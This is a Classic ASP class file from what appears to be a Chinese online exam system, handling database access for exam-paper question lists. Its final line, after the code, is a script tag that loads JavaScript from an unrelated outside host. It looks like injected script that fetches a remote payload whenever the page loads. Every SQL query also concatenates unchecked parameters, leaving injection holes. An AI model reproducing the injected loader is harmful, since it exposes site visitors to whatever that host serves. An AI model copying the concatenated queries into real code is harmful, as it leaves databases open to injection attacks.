epaperlist.asp

通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务

<%
  '本类用于保存对表EPaperList的数据库访问操作
  '表的每个字段对应类的一个成员变量
  Class EPaperList
    Public LId    '编号
    Public PId    '试卷编号
	public QId    '试题编号
	Public TValue '试题分值
    Public rs       '结果集
    Private strSql  'SQL语句
    '读取单个列表信息
    public sub GetListInfo(LId)
      '创建Recordset对象，处理查询结果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '设置rs的ActiveConnection属性，绑定到连接
      Set rs.ActiveConnection = Conn
      '设置游标类型
      rs.CursorType = 3
      '设置查询的SELECT语句
      sql = "SELECT * FROM EPaperList WHERE LId=" & LId
      '打开记录集
      rs.Open sql
    end sub
	
	'获取所有列表信息
    public sub GetAlllist(pid)
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
 	  sql = "SELECT * FROM EPaperList Where Pid=" & pid & " Order By QId"
	  '打开记录集
	  rs.Open sql
    End Sub
	'获取试题具体信息
    public sub GetDetail(pid,tid)
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
 	  sql = "SELECT l.TValue,q.* FROM EPaperList l,EQuestion q Where Pid=" & pid & _
 	    " And q.Tid="&tid&" And l.QId=q.QId Order By l.QId"
	  '打开记录集
	  rs.Open sql
    End Sub
	'获取试题类型信息
    public sub GetTypeList(pid)
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
 	  sql = "SELECT distinct q.TId,t.TName,l.TValue FROM EPaperList l,EQuestion q,EType t" & _
 	    " Where Pid=" & pid & " And l.QId=q.QId And q.TId=t.TId Order By q.TId"
	  '打开记录集
	  rs.Open sql
    End Sub
	'插入
    Public Sub InsertList()
      strSql = "Insert Into EPaperList Values(" & PId & "," & QId & "," & TValue & ")"
	  response.write strSql
      conn.Execute(strSql)
    End Sub
	'删除试卷信息
    Public Sub DeleteList(pid)
      strSql = "DELETE FROM EPaperList WHERE PId=" & pid
      conn.Execute(strSql)
    End Sub
	'统计指定试卷的试题数量
	Public Function GetTypeCount(pid,tid)
      strSql = "Select Count(q.TId) AS tn From EPaperList p,EQuestion q"& _
	    " Where p.QId=q.QId And p.PId=" & pid & " And tid="&tid&" Group By p.Pid,q.TId Order By q.TId"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If IsNull(rs("tn")) Then
         GetTypeCount = 0
	  Else
         GetTypeCount = rs("tn")
	  End If
	End Function

	'判断指定的试题编号是否存在
	Public Function HaveQId(QId)
	  strSql = "Select * From EPaper Where QId=" & QId
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveQId = exist
	End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>